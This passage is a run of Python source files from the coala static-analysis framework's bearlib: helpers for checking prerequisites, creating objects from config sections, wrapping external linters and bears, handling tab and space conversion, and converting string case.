                             command doesn't return an exitcode of zero.

        :return: True if command successfully executes, or is not required.
                 not True otherwise, with a string containing a
                 detailed description of the error.
        """
        if cls._check_executable(executable):
            if command is None:
                return True  # when there are no prerequisites
            try:
                check_call(command, stdout=DEVNULL, stderr=DEVNULL)
                return True
            except (OSError, CalledProcessError):
                return fail_msg
        else:
            return repr(executable) + " is not installed."

    @staticmethod
    def _check_executable(executable):
        """
        Checks whether the needed executable is present in the system.

        :param executable: The executable to check for.

        :return: True if binary is present, or is not required.
                 not True otherwise, with a string containing a
                 detailed description of what's missing.
        """
        if executable is None:
            return True
        return shutil.which(executable) is not None

    def generate_config_file(self):
        """
        Generates a temporary config file.
        Note: The user of the function is responsible for deleting the
        tempfile when done with it.

        :return: The file name of the tempfile created.
        """
        config_lines = self.config_file()
        config_file = ""
        if config_lines is not None:
            for i, line in enumerate(config_lines):
                config_lines[i] = line if line.endswith("\n") else line + "\n"
            config_fd, config_file = tempfile.mkstemp()
            os.close(config_fd)
            with open(config_file, 'w') as conf_file:
                conf_file.writelines(config_lines)
        return config_file

    @staticmethod
    def config_file():
        """
        Returns a configuration file from the section given to the bear.
        The section is available in ``self.section``. To add the config
        file's name generated by this function to the arguments,
        use ``{config_file}``.

        :return: A list of lines of the config file to be used or None.
        """
        return None






from coalib.settings.FunctionMetadata import FunctionMetadata


class SectionCreatable:
    """
    A SectionCreatable is an object that is creatable out of a section object.
    Thus this is the class for many helper objects provided by the bearlib.

    If you want to use an object that inherits from this class the following
    approach is recommended: Instantiate it via the from_section method. You
    can provide default arguments via the lower case keyword arguments.

    Example:

    ::

        SpacingHelper.from_section(section, tabwidth=8)

    creates a SpacingHelper and if the "tabwidth" setting is needed and not
    contained in section, 8 will be taken.

    It is recommended to write the prototype of the __init__ method according
    to this example:

    ::

        def __init__(self, setting_one: int, setting_two: bool=False):
            pass  # Implementation

    This way the get_optional_settings and the get_non_optional_settings method
    will extract automatically that:

    -  setting_one should be an integer
    -  setting_two should be a bool and defaults to False

    If you write a documentation comment, you can use :param to add
    descriptions to your parameters. These will be available too automatically.
    """

    def __init__(self):
        pass  # Method needs to be available

    @classmethod
    def from_section(cls, section, **kwargs):
        """
        Creates the object from a section object.

        :param section: A section object containing at least the settings
                        specified by get_non_optional_settings()
        :param kwargs:  Additional keyword arguments
        """
        kwargs.update(cls.get_metadata().create_params_from_section(section))

        return cls(**kwargs)

    @classmethod
    def get_metadata(cls):
        return FunctionMetadata.from_function(cls.__init__, omit={"self"})

    @classmethod
    def get_non_optional_settings(cls):
        """
        Retrieves the minimal set of settings that need to be defined in order
        to use this object.

        :return: a dictionary of needed settings as keys and help texts as
                 values
        """
        return cls.get_metadata().non_optional_params

    @classmethod
    def get_optional_settings(cls):
        """
        Retrieves the settings needed IN ADDITION to the ones of
        get_non_optional_settings to use this object without internal defaults.

        :return: a dictionary of needed settings as keys and help texts as
                 values
        """
        return cls.get_metadata().optional_params






import json
import inspect
from functools import partial
from collections import OrderedDict

from coalib.bears.LocalBear import LocalBear
from coala_utils.decorators import enforce_signature
from coalib.misc.Shell import run_shell_command
from coalib.results.Diff import Diff
from coalib.results.Result import Result
from coalib.results.SourceRange import SourceRange
from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY
from coalib.settings.FunctionMetadata import FunctionMetadata


def _prepare_options(options):
    """
    Checks for illegal options and raises ValueError.

    :param options:
        The options dict that contains user/developer inputs.
    :raises ValueError:
        Raised when illegal options are specified.
    """
    allowed_options = {"executable",
                       "settings"}

    # Check for illegal superfluous options.
    superfluous_options = options.keys() - allowed_options
    if superfluous_options:
        raise ValueError(
            "Invalid keyword arguments provided: " +
            ", ".join(repr(s) for s in sorted(superfluous_options)))

    if not 'settings' in options:
        options['settings'] = {}


def _create_wrapper(klass, options):
    NoDefaultValue = object()

    class ExternalBearWrapBase(LocalBear):

        @staticmethod
        def create_arguments():
            """
            This method has to be implemented by the class that uses
            the decorator in order to create the arguments needed for
            the executable.
            """
            return ()

        @classmethod
        def get_executable(cls):
            """
            Returns the executable of this class.

            :return:
                The executable name.
            """
            return options["executable"]

        @staticmethod
        def _normalize_desc(description, setting_type,
                            default_value=NoDefaultValue):
            """
            Normalizes the description of the parameters only if there
            is none provided.

            :param description:
                The parameter description to be modified in case it is empty.
            :param setting_type:
                The type of the setting. It is needed to create the final
                tuple.
            :param default_value:
                The default value of the setting.
            :return:
                A value for the OrderedDict in the ``FunctionMetadata`` object.
            """
            if description == "":
                description = FunctionMetadata.str_nodesc

            if default_value is NoDefaultValue:
                return (description, setting_type)
            else:
                return (description + " " +
                        FunctionMetadata.str_optional.format(default_value),
                        setting_type, default_value)

        @classmethod
        def get_non_optional_params(cls):
            """
            Fetches the non_optional_params from ``options['settings']``
            and also normalizes their descriptions.

            :return:
                An OrderedDict that is used to create a
                ``FunctionMetadata`` object.
            """
            non_optional_params = {}
            for setting_name, description in options['settings'].items():
                if len(description) == 2:
                    non_optional_params[
                        setting_name] = cls._normalize_desc(description[0],
                                                            description[1])
            return OrderedDict(non_optional_params)

        @classmethod
        def get_optional_params(cls):
            """
            Fetches the optional_params from ``options['settings']``
            and also normalizes their descriptions.

            :return:
                An OrderedDict that is used to create a
                ``FunctionMetadata`` object.
            """
            optional_params = {}
            for setting_name, description in options['settings'].items():
                if len(description) == 3:
                    optional_params[
                        setting_name] = cls._normalize_desc(description[0],
                                                            description[1],
                                                            description[2])
            return OrderedDict(optional_params)

        @classmethod
        def get_metadata(cls):
            metadata = FunctionMetadata(
                'run',
                optional_params=cls.get_optional_params(),
                non_optional_params=cls.get_non_optional_params())
            metadata.desc = inspect.getdoc(cls)
            return metadata

        @classmethod
        def _prepare_settings(cls, settings):
            """
            Adds the optional settings to the settings dict in-place.

            :param settings:
                The settings dict.
            """
            opt_params = cls.get_optional_params()
            for setting_name, description in opt_params.items():
                if setting_name not in settings:
                    settings[setting_name] = description[2]

        def parse_output(self, out, filename):
            """
            Parses the output JSON into Result objects.

            :param out:
                Raw output from the given executable (should be JSON).
            :param filename:
                The filename of the analyzed file. Needed to
                create the Result objects.
            :return:
                An iterator yielding ``Result`` objects.
            """
            output = json.loads(out)

            for result in output['results']:
                affected_code = tuple(
                    SourceRange.from_values(
                        code_range['file'],
                        code_range['start']['line'],
                        code_range['start'].get('column'),
                        code_range.get('end', {}).get('line'),
                        code_range.get('end', {}).get('column'))
                    for code_range in result['affected_code'])
                yield Result(
                    origin=result['origin'],
                    message=result['message'],
                    affected_code=affected_code,
                    severity=result.get('severity', 1),
                    debug_msg=result.get('debug_msg', ""),
                    additional_info=result.get('additional_info', ""))

        def run(self, filename, file, **settings):
            self._prepare_settings(settings)
            json_string = json.dumps({'filename': filename,
                                      'file': file,
                                      'settings': settings})

            args = self.create_arguments()
            try:
                args = tuple(args)
            except TypeError:
                self.err("The given arguments "
                         "{!r} are not iterable.".format(args))
                return

            shell_command = (self.get_executable(),) + args
            out, err = run_shell_command(shell_command, json_string)

            return self.parse_output(out, filename)

    result_klass = type(klass.__name__, (klass, ExternalBearWrapBase), {})
    result_klass.__doc__ = klass.__doc__ or ""
    return result_klass


@enforce_signature
def external_bear_wrap(executable: str, **options):

    options["executable"] = executable
    _prepare_options(options)

    return partial(_create_wrapper, options=options)






"""
The abstractions package contains classes that serve as interfaces for
helper classes in the bearlib.
"""






from contextlib import contextmanager
from functools import partial, partialmethod
import inspect
from itertools import chain, compress
import re
import shutil
from subprocess import check_call, CalledProcessError, DEVNULL
from types import MappingProxyType

from coalib.bears.LocalBear import LocalBear
from coalib.misc.ContextManagers import make_temp
from coala_utils.decorators import assert_right_type, enforce_signature
from coalib.misc.Shell import run_shell_command
from coalib.results.Diff import Diff
from coalib.results.Result import Result
from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY
from coalib.settings.FunctionMetadata import FunctionMetadata


def _prepare_options(options):
    """
    Prepares options for ``linter`` for a given options dict in-place.

    :param options:
        The options dict that contains user/developer inputs.
    """
    allowed_options = {"executable",
                       "output_format",
                       "use_stdin",
                       "use_stdout",
                       "use_stderr",
                       "config_suffix",
                       "executable_check_fail_info",
                       "prerequisite_check_command"}

    if not options["use_stdout"] and not options["use_stderr"]:
        raise ValueError("No output streams provided at all.")

    if options["output_format"] == "corrected":
        if (
                "diff_severity" in options and
                options["diff_severity"] not in RESULT_SEVERITY.reverse):
            raise TypeError("Invalid value for `diff_severity`: " +
                            repr(options["diff_severity"]))

        if "result_message" in options:
            assert_right_type(options["result_message"], str, "result_message")

        if "diff_distance" in options:
            assert_right_type(options["diff_distance"], int, "diff_distance")

        allowed_options |= {"diff_severity", "result_message", "diff_distance"}
    elif options["output_format"] == "regex":
        if "output_regex" not in options:
            raise ValueError("`output_regex` needed when specified "
                             "output-format 'regex'.")

        options["output_regex"] = re.compile(options["output_regex"])

        # Don't setup severity_map if one is provided by user or if it's not
        # used inside the output_regex. If one is manually provided but not
        # used in the output_regex, throw an exception.
        if "severity_map" in options:
            if "severity" not in options["output_regex"].groupindex:
                raise ValueError("Provided `severity_map` but named group "
                                 "`severity` is not used in `output_regex`.")
            assert_right_type(options["severity_map"], dict, "severity_map")

            for key, value in options["severity_map"].items():
                assert_right_type(key, str, "severity_map key")

                try:
                    assert_right_type(value, int, "<severity_map dict-value>")
                except TypeError:
                    raise TypeError(
                        "The value {!r} for key {!r} inside given "
                        "severity-map is no valid severity value.".format(
                            value, key))

                if value not in RESULT_SEVERITY.reverse:
                    raise TypeError(
                        "Invalid severity value {!r} for key {!r} inside "
                        "given severity-map.".format(value, key))

            # Auto-convert keys to lower-case. This creates automatically a new
            # dict which prevents runtime-modifications.
            options["severity_map"] = {
                key.lower(): value
                for key, value in options["severity_map"].items()}

        if "result_message" in options:
            assert_right_type(options["result_message"], str, "result_message")

        allowed_options |= {"output_regex", "severity_map", "result_message"}
    elif options["output_format"] is not None:
        raise ValueError("Invalid `output_format` specified.")

    if options["prerequisite_check_command"]:
        if "prerequisite_check_fail_message" in options:
            assert_right_type(options["prerequisite_check_fail_message"],
                              str,
                              "prerequisite_check_fail_message")
        else:
            options["prerequisite_check_fail_message"] = (
                "Prerequisite check failed.")

        allowed_options.add("prerequisite_check_fail_message")

    # Check for illegal superfluous options.
    superfluous_options = options.keys() - allowed_options
    if superfluous_options:
        raise ValueError(
            "Invalid keyword arguments provided: " +
            ", ".join(repr(s) for s in sorted(superfluous_options)))


def _create_linter(klass, options):
    class LinterMeta(type):

        def __repr__(cls):
            return "<{} linter class (wrapping {!r})>".format(
                cls.__name__, options["executable"])

    class LinterBase(LocalBear, metaclass=LinterMeta):

        @staticmethod
        def generate_config(filename, file):
            """
            Generates the content of a config-file the linter-tool might need.

            The contents generated from this function are written to a
            temporary file and the path is provided inside
            ``create_arguments()``.

            By default no configuration is generated.

            You can provide additional keyword arguments and defaults. These
            will be interpreted as required settings that need to be provided
            through a coafile-section.

            :param filename:
                The name of the file currently processed.
            :param file:
                The contents of the file currently processed.
            :return:
                The config-file-contents as a string or ``None``.
            """
            return None

        @staticmethod
        def create_arguments(filename, file, config_file):
            """
            Creates the arguments for the linter.

            You can provide additional keyword arguments and defaults. These
            will be interpreted as required settings that need to be provided
            through a coafile-section.

            :param filename:
                The name of the file the linter-tool shall process.
            :param file:
                The contents of the file.
            :param config_file:
                The path of the config-file if used. ``None`` if unused.
            :return:
                A sequence of arguments to feed the linter-tool with.
            """
            raise NotImplementedError

        @staticmethod
        def get_executable():
            """
            Returns the executable of this class.

            :return:
                The executable name.
            """
            return options["executable"]

        @classmethod
        def check_prerequisites(cls):
            """
            Checks whether the linter-tool the bear uses is operational.

            :return:
                True if operational, otherwise a string containing more info.
            """
            if shutil.which(cls.get_executable()) is None:
                return (repr(cls.get_executable()) + " is not installed." +
                        (" " + options["executable_check_fail_info"]
                         if options["executable_check_fail_info"] else
                         ""))
            else:
                if options["prerequisite_check_command"]:
                    try:
                        check_call(options["prerequisite_check_command"],
                                   stdout=DEVNULL,
                                   stderr=DEVNULL)
                        return True
                    except (OSError, CalledProcessError):
                        return options["prerequisite_check_fail_message"]
                return True

        @classmethod
        def _get_create_arguments_metadata(cls):
            return FunctionMetadata.from_function(
                cls.create_arguments,
                omit={"self", "filename", "file", "config_file"})

        @classmethod
        def _get_generate_config_metadata(cls):
            return FunctionMetadata.from_function(
                cls.generate_config,
                omit={"filename", "file"})

        @classmethod
        def _get_process_output_metadata(cls):
            metadata = FunctionMetadata.from_function(cls.process_output)

            if options["output_format"] is None:
                omitted = {"self", "output", "filename", "file"}
            else:
                # If a specific output format is provided, function signatures
                # from process_output functions should not appear in the help.
                omitted = set(chain(metadata.non_optional_params,
                                    metadata.optional_params))

            metadata.omit = omitted
            return metadata

        @classmethod
        def get_metadata(cls):
            merged_metadata = FunctionMetadata.merge(
                cls._get_process_output_metadata(),
                cls._get_generate_config_metadata(),
                cls._get_create_arguments_metadata())
            merged_metadata.desc = inspect.getdoc(cls)
            return merged_metadata

        def _convert_output_regex_match_to_result(self,
                                                  match,
                                                  filename,
                                                  severity_map,
                                                  result_message):
            """
            Converts the matched named-groups of ``output_regex`` to an actual
            ``Result``.

            :param match:
                The regex match object.
            :param filename:
                The name of the file this match belongs to.
            :param severity_map:
                The dict to use to map the severity-match to an actual
                ``RESULT_SEVERITY``.
            :param result_message:
                The static message to use for results instead of grabbing it
                from the executable output via the ``message`` named regex
                group.
            """
            # Pre process the groups
            groups = match.groupdict()

            if 'severity' in groups:
                try:
                    groups["severity"] = severity_map[
                        groups["severity"].lower()]
                except KeyError:
                    self.warn(
                        repr(groups["severity"]) + " not found in "
                        "severity-map. Assuming `RESULT_SEVERITY.NORMAL`.")
                    groups["severity"] = RESULT_SEVERITY.NORMAL
            else:
                groups['severity'] = RESULT_SEVERITY.NORMAL

            for variable in ("line", "column", "end_line", "end_column"):
                groups[variable] = (None
                                    if groups.get(variable, None) is None else
                                    int(groups[variable]))

            if "origin" in groups:
                groups["origin"] = "{} ({})".format(klass.__name__,
                                                    groups["origin"].strip())

            # Construct the result.
            return Result.from_values(
                origin=groups.get("origin", self),
                message=(groups.get("message", "").strip()
                         if result_message is None else result_message),
                file=filename,
                severity=groups["severity"],
                line=groups["line"],
                column=groups["column"],
                end_line=groups["end_line"],
                end_column=groups["end_column"],
                additional_info=groups.get("additional_info", "").strip())

        def process_output_corrected(self,
                                     output,
                                     filename,
                                     file,
                                     diff_severity=RESULT_SEVERITY.NORMAL,
                                     result_message="Inconsistency found.",
                                     diff_distance=1):
            """
            Processes the executable's output as a corrected file.

            :param output:
                The output of the program. This can be either a single
                string or a sequence of strings.
            :param filename:
                The filename of the file currently being corrected.
            :param file:
                The contents of the file currently being corrected.
            :param diff_severity:
                The severity to use for generating results.
            :param result_message:
                The message to use for generating results.
            :param diff_distance:
                Number of unchanged lines that are allowed in between two
                changed lines so they get yielded as one diff. If a negative
                distance is given, every change will be yielded as an own diff,
                even if they are right beneath each other.
            :return:
                An iterator returning results containing patches for the
                file to correct.
            """
            if isinstance(output, str):
                output = (output,)

            for string in output:
                for diff in Diff.from_string_arrays(
                        file,
                        string.splitlines(keepends=True)).split_diff(
                            distance=diff_distance):
                    yield Result(self,
                                 result_message,
                                 affected_code=diff.affected_code(filename),
                                 diffs={filename: diff},
                                 severity=diff_severity)

        def process_output_regex(
                self, output, filename, file, output_regex,
                severity_map=MappingProxyType({
                    "critical": RESULT_SEVERITY.MAJOR,
                    "c": RESULT_SEVERITY.MAJOR,
                    "fatal": RESULT_SEVERITY.MAJOR,
                    "fail": RESULT_SEVERITY.MAJOR,
                    "f": RESULT_SEVERITY.MAJOR,
                    "error": RESULT_SEVERITY.MAJOR,
                    "err": RESULT_SEVERITY.MAJOR,
                    "e": RESULT_SEVERITY.MAJOR,
                    "warning": RESULT_SEVERITY.NORMAL,
                    "warn": RESULT_SEVERITY.NORMAL,
                    "w": RESULT_SEVERITY.NORMAL,
                    "information": RESULT_SEVERITY.INFO,
                    "info": RESULT_SEVERITY.INFO,
                    "i": RESULT_SEVERITY.INFO,
                    "note": RESULT_SEVERITY.INFO,
                    "suggestion": RESULT_SEVERITY.INFO}),
                result_message=None):
            """
            Processes the executable's output using a regex.

            :param output:
                The output of the program. This can be either a single
                string or a sequence of strings.
            :param filename:
                The filename of the file currently being corrected.
            :param file:
                The contents of the file currently being corrected.
            :param output_regex:
                The regex to parse the output with. It should use as many
                of the following named groups (via ``(?P<name>...)``) to
                provide a good result:

                - line - The line where the issue starts.
                - column - The column where the issue starts.
                - end_line - The line where the issue ends.
                - end_column - The column where the issue ends.
                - severity - The severity of the issue.
                - message - The message of the result.
                - origin - The origin of the issue.
                - additional_info - Additional info provided by the issue.

                The groups ``line``, ``column``, ``end_line`` and
                ``end_column`` don't have to match numbers only, they can
                also match nothing, the generated ``Result`` is filled
                automatically with ``None`` then for the appropriate
                properties.
            :param severity_map:
                A dict used to map a severity string (captured from the
                ``output_regex`` with the named group ``severity``) to an
                actual ``coalib.results.RESULT_SEVERITY`` for a result.
            :param result_message:
                The static message to use for results instead of grabbing it
                from the executable output via the ``message`` named regex
                group.
            :return:
                An iterator returning results.
            """
            if isinstance(output, str):
                output = (output,)

            for string in output:
                for match in re.finditer(output_regex, string):
                    yield self._convert_output_regex_match_to_result(
                        match, filename, severity_map=severity_map,
                        result_message=result_message)

        if options["output_format"] is None:
            # Check if user supplied a `process_output` override.
            if not callable(getattr(klass, "process_output", None)):
                raise ValueError("`process_output` not provided by given "
                                 "class {!r}.".format(klass.__name__))
                # No need to assign to `process_output` here, the class mixing
                # below automatically does that.
        else:
            # Prevent people from accidentally defining `process_output`
            # manually, as this would implicitly override the internally
            # set-up `process_output`.
            if hasattr(klass, "process_output"):
                raise ValueError("Found `process_output` already defined "
                                 "by class {!r}, but {!r} output-format is "
                                 "specified.".format(klass.__name__,
                                                     options["output_format"]))

            if options["output_format"] == "corrected":
                process_output_args = {
                    key: options[key]
                    for key in ("result_message", "diff_severity",
                                "diff_distance")
                    if key in options}

                process_output = partialmethod(
                    process_output_corrected, **process_output_args)

            else:
                assert options["output_format"] == "regex"

                process_output_args = {
                    key: options[key]
                    for key in ("output_regex", "severity_map",
                                "result_message")
                    if key in options}

                process_output = partialmethod(
                    process_output_regex, **process_output_args)

        @classmethod
        @contextmanager
        def _create_config(cls, filename, file, **kwargs):
            """
            Provides a context-manager that creates the config file if the
            user provides one and cleans it up when done with linting.

            :param filename:
                The filename of the file.
            :param file:
                The file contents.
            :param kwargs:
                Section settings passed from ``run()``.
            :return:
                A context-manager handling the config-file.
            """
            content = cls.generate_config(filename, file, **kwargs)
            if content is None:
                yield None
            else:
                with make_temp(
                        suffix=options["config_suffix"]) as config_file:
                    with open(config_file, mode="w") as fl:
                        fl.write(content)
                    yield config_file

        def run(self, filename, file, **kwargs):
            # Get the **kwargs params to forward to `generate_config()`
            # (from `_create_config()`).
            generate_config_kwargs = FunctionMetadata.filter_parameters(
                self._get_generate_config_metadata(), kwargs)

            with self._create_config(
                    filename,
                    file,
                    **generate_config_kwargs) as config_file:
                # And now retrieve the **kwargs for `create_arguments()`.
                create_arguments_kwargs = (
                    FunctionMetadata.filter_parameters(
                        self._get_create_arguments_metadata(), kwargs))

                args = self.create_arguments(filename, file, config_file,
                                             **create_arguments_kwargs)

                try:
                    args = tuple(args)
                except TypeError:
                    self.err("The given arguments "
                             "{!r} are not iterable.".format(args))
                    return

                arguments = (self.get_executable(),) + args
                self.debug("Running '{}'".format(' '.join(arguments)))

                output = run_shell_command(
                    arguments,
                    stdin="".join(file) if options["use_stdin"] else None,
                    cwd=self.get_config_dir())

                output = tuple(compress(
                    output,
                    (options["use_stdout"], options["use_stderr"])))
                if len(output) == 1:
                    output = output[0]

                process_output_kwargs = FunctionMetadata.filter_parameters(
                    self._get_process_output_metadata(), kwargs)
                return self.process_output(output, filename, file,
                                           **process_output_kwargs)

        def __repr__(self):
            return "<{} linter object (wrapping {!r}) at {}>".format(
                type(self).__name__, self.get_executable(), hex(id(self)))

    # Mixin the linter into the user-defined interface, otherwise
    # `create_arguments` and other methods would be overridden by the
    # default version.
    result_klass = type(klass.__name__, (klass, LinterBase), {})
    result_klass.__doc__ = klass.__doc__ or ""
    return result_klass


@enforce_signature
def linter(executable: str,
           use_stdin: bool=False,
           use_stdout: bool=True,
           use_stderr: bool=False,
           config_suffix: str="",
           executable_check_fail_info: str="",
           prerequisite_check_command: tuple=(),
           output_format: (str, None)=None,
           **options):
    """
    Decorator that creates a ``LocalBear`` that is able to process results from
    an external linter tool.

    The main functionality is achieved through the ``create_arguments()``
    function that constructs the command-line-arguments that get parsed to your
    executable.

    >>> @linter("xlint", output_format="regex", output_regex="...")
    ... class XLintBear:
    ...     @staticmethod
    ...     def create_arguments(filename, file, config_file):
    ...         return "--lint", filename

    Requiring settings is possible like in ``Bear.run()`` with supplying
    additional keyword arguments (and if needed with defaults).

    >>> @linter("xlint", output_format="regex", output_regex="...")
    ... class XLintBear:
    ...     @staticmethod
    ...     def create_arguments(filename,
    ...                          file,
    ...                          config_file,
    ...                          lintmode: str,
    ...                          enable_aggressive_lints: bool=False):
    ...         arguments = ("--lint", filename, "--mode=" + lintmode)
    ...         if enable_aggressive_lints:
    ...             arguments += ("--aggressive",)
    ...         return arguments

    Sometimes your tool requires an actual file that contains configuration.
    ``linter`` allows you to just define the contents the configuration shall
    contain via ``generate_config()`` and handles everything else for you.

    >>> @linter("xlint", output_format="regex", output_regex="...")
    ... class XLintBear:
    ...     @staticmethod
    ...     def generate_config(filename,
    ...                         file,
    ...                         lintmode,
    ...                         enable_aggressive_lints):
    ...         modestring = ("aggressive"
    ...                       if enable_aggressive_lints else
    ...                       "non-aggressive")
    ...         contents = ("<xlint>",
    ...                     "    <mode>" + lintmode + "</mode>",
    ...                     "    <aggressive>" + modestring + "</aggressive>",
    ...                     "</xlint>")
    ...         return "\\n".join(contents)
    ...
    ...     @staticmethod
    ...     def create_arguments(filename,
    ...                          file,
    ...                          config_file):
    ...         return "--lint", filename, "--config", config_file

    As you can see you don't need to copy additional keyword-arguments you
    introduced from ``create_arguments()`` to ``generate_config()`` and
    vice-versa. ``linter`` takes care of forwarding the right arguments to the
    right place, so you are able to avoid signature duplication.

    If you override ``process_output``, you have the same feature like above
    (auto-forwarding of the right arguments defined in your function
    signature).

    Note when overriding ``process_output``: Providing a single output stream
    (via ``use_stdout`` or ``use_stderr``) puts the according string attained
    from the stream into parameter ``output``, providing both output streams
    inputs a tuple with ``(stdout, stderr)``. Providing ``use_stdout=False``
    and ``use_stderr=False`` raises a ``ValueError``. By default ``use_stdout``
    is ``True`` and ``use_stderr`` is ``False``.

    Documentation:
    Bear description shall be provided at class level.
    If you document your additional parameters inside ``create_arguments``,
    ``generate_config`` and ``process_output``, beware that conflicting
    documentation between them may be overridden. Document duplicated
    parameters inside ``create_arguments`` first, then in ``generate_config``
    and after that inside ``process_output``.

    For the tutorial see:
    http://coala.readthedocs.org/en/latest/Users/Tutorials/Linter_Bears.html

    :param executable:
        The linter tool.
    :param use_stdin:
        Whether the input file is sent via stdin instead of passing it over the
        command-line-interface.
    :param use_stdout:
        Whether to use the stdout output stream.
    :param use_stderr:
        Whether to use the stderr output stream.
    :param config_suffix:
        The suffix-string to append to the filename of the configuration file
        created when ``generate_config`` is supplied. Useful if your executable
        expects getting a specific file-type with specific file-ending for the
        configuration file.
    :param executable_check_fail_info:
        Information that is provided together with the fail message from the
        normal executable check. By default no additional info is printed.
    :param prerequisite_check_command:
        A custom command to check for when ``check_prerequisites`` gets
        invoked (via ``subprocess.check_call()``). Must be an ``Iterable``.
    :param prerequisite_check_fail_message:
        A custom message that gets displayed when ``check_prerequisites``
        fails while invoking ``prerequisite_check_command``. Can only be
        provided together with ``prerequisite_check_command``.
    :param output_format:
        The output format of the underlying executable. Valid values are

        - ``None``: Define your own format by overriding ``process_output``.
          Overriding ``process_output`` is then mandatory, not specifying it
          raises a ``ValueError``.
        - ``'regex'``: Parse output using a regex. See parameter
          ``output_regex``.
        - ``'corrected'``: The output is the corrected of the given file. Diffs
          are then generated to supply patches for results.

        Passing something else raises a ``ValueError``.
    :param output_regex:
        The regex expression as a string that is used to parse the output
        generated by the underlying executable. It should use as many of the
        following named groups (via ``(?P<name>...)``) to provide a good
        result:

        - line - The line where the issue starts.
        - column - The column where the issue starts.
        - end_line - The line where the issue ends.
        - end_column - The column where the issue ends.
        - severity - The severity of the issue.
        - message - The message of the result.
        - origin - The origin of the issue.
        - additional_info - Additional info provided by the issue.

        The groups ``line``, ``column``, ``end_line`` and ``end_column`` don't
        have to match numbers only, they can also match nothing, the generated
        ``Result`` is filled automatically with ``None`` then for the
        appropriate properties.

        Needs to be provided if ``output_format`` is ``'regex'``.
    :param severity_map:
        A dict used to map a severity string (captured from the
        ``output_regex`` with the named group ``severity``) to an actual
        ``coalib.results.RESULT_SEVERITY`` for a result. Severity strings are
        mapped **case-insensitive**!

        - ``RESULT_SEVERITY.MAJOR``: Mapped by ``error``.
        - ``RESULT_SEVERITY.NORMAL``: Mapped by ``warning`` or ``warn``.
        - ``RESULT_SEVERITY.MINOR``: Mapped by ``info``.

        A ``ValueError`` is raised when the named group ``severity`` is not
        used inside ``output_regex`` and this parameter is given.
    :param diff_severity:
        The severity to use for all results if ``output_format`` is
        ``'corrected'``. By default this value is
        ``coalib.results.RESULT_SEVERITY.NORMAL``. The given value needs to be
        defined inside ``coalib.results.RESULT_SEVERITY``.
    :param result_message:
        The message-string to use for all results. Can be used only together
        with ``corrected`` or ``regex`` output format. When using
        ``corrected``, the default value is ``"Inconsistency found."``, while
        for ``regex`` this static message is disabled and the message matched
        by ``output_regex`` is used instead.
    :param diff_distance:
        Number of unchanged lines that are allowed in between two changed lines
        so they get yielded as one diff if ``corrected`` output-format is
        given. If a negative distance is given, every change will be yielded as
        an own diff, even if they are right beneath each other. By default this
        value is ``1``.
    :raises ValueError:
        Raised when invalid options are supplied.
    :raises TypeError:
        Raised when incompatible types are supplied.
        See parameter documentations for allowed types.
    :return:
        A ``LocalBear`` derivation that lints code using an external tool.
    """
    options["executable"] = executable
    options["output_format"] = output_format
    options["use_stdin"] = use_stdin
    options["use_stdout"] = use_stdout
    options["use_stderr"] = use_stderr
    options["config_suffix"] = config_suffix
    options["executable_check_fail_info"] = executable_check_fail_info
    options["prerequisite_check_command"] = prerequisite_check_command

    _prepare_options(options)

    return partial(_create_linter, options=options)












from coalib.bearlib.abstractions.SectionCreatable import SectionCreatable
from coala_utils.decorators import enforce_signature


class SpacingHelper(SectionCreatable):
    DEFAULT_TAB_WIDTH = 4

    def __init__(self, tab_width: int=DEFAULT_TAB_WIDTH):
        """
        Creates a helper object for spacing operations.

        :param tab_width: The number of spaces which visually equals a tab.
        """
        SectionCreatable.__init__(self)
        if not isinstance(tab_width, int):
            raise TypeError("The 'tab_width' parameter should be an integer.")

        self.tab_width = tab_width

    @enforce_signature
    def get_indentation(self, line: str):
        """
        Checks the lines indentation.

        :param line: A string to check for indentation.
        :return:     The indentation count in spaces.
        """
        count = 0
        for char in line:
            if char == ' ':
                count += 1
                continue

            if char == '\t':
                count += self.tab_width - (count % self.tab_width)
                continue

            break

        return count

    @enforce_signature
    def replace_tabs_with_spaces(self, line: str):
        """
        Replaces tabs in this line with the appropriate number of spaces.

        Example: " \t" will be converted to "    ", assuming the tab_width is
        set to 4.

        :param line: The string with tabs to replace.
        :return:     A string with no tabs.
        """
        for t_position, t_length in sorted(self.yield_tab_lengths(line),
                                           reverse=True):
            line = line[:t_position] + t_length * ' ' + line[t_position+1:]

        return line

    @enforce_signature
    def yield_tab_lengths(self, input: str):
        """
        Yields position and size of tabs in a input string.

        :param input: The string with tabs.
        """
        tabless_position = 0
        for index, char in enumerate(input):
            if char == '\t':
                space_count = (self.tab_width - tabless_position
                               % self.tab_width)
                yield index, space_count
                tabless_position += space_count
                continue

            tabless_position += 1

    @enforce_signature
    def replace_spaces_with_tabs(self, line: str):
        """
        Replaces spaces with tabs where possible. However in no case only one
        space will be replaced by a tab.

        Example: " \t   a_text   another" will be converted to
        "\t   a_text\tanother", assuming the tab_width is set to 4.

        :param line: The string with spaces to replace.
        :return:     The converted string.
        """
        currspaces = 0
        result = ""
        # Tracking the index of the string isnt enough because tabs are
        # spanning over multiple columns
        tabless_position = 0
        for char in line:
            if char == " ":
                currspaces += 1
                tabless_position += 1
            elif char == "\t":
                space_count = (self.tab_width - tabless_position
                               % self.tab_width)
                currspaces += space_count
                tabless_position += space_count
            else:
                result += currspaces*" " + char
                currspaces = 0
                tabless_position += 1

            # tabless_position is now incremented to point _after_ the current
            # char
            if tabless_position % self.tab_width == 0:
                if currspaces > 1:
                    result += "\t"
                else:
                    result += currspaces*" "

                currspaces = 0

        result += currspaces*" "

        return result






import re


def to_camelcase(string):
    """
    Converts the given string to camel-case.

    >>> to_camelcase('Hello_world')
    'helloWorld'
    >>> to_camelcase('__Init__file__')
    '__initFile__'
    >>> to_camelcase('')
    ''
    >>> to_camelcase('alreadyCamelCase')
    'alreadyCamelCase'
    >>> to_camelcase('   string')
    '___string'

    :param string: The string to convert.
    :return:       The camel-cased string.
    """
    string = re.sub("(\s)",
                    lambda match: '_',
                    string)
    string = re.sub("^(_*)(.)",
                    lambda match: match.group(1) + match.group(2).lower(),
                    string)
    return re.sub("(?<=[^_])_+([^_])",
                  lambda match: match.group(1).upper(),
                  string)


def to_pascalcase(string):
    """
    Converts the given to string pascal-case.

    >>> to_pascalcase('hello_world')
    'HelloWorld'
    >>> to_pascalcase('__init__file__')
    '__InitFile__'
    >>> to_pascalcase('')
    ''
    >>> to_pascalcase('AlreadyPascalCase')
    'AlreadyPascalCase'
    >>> to_pascalcase('   string')
    '___String'

    :param string: The string to convert.
    :return:       The pascal-cased string.
    """
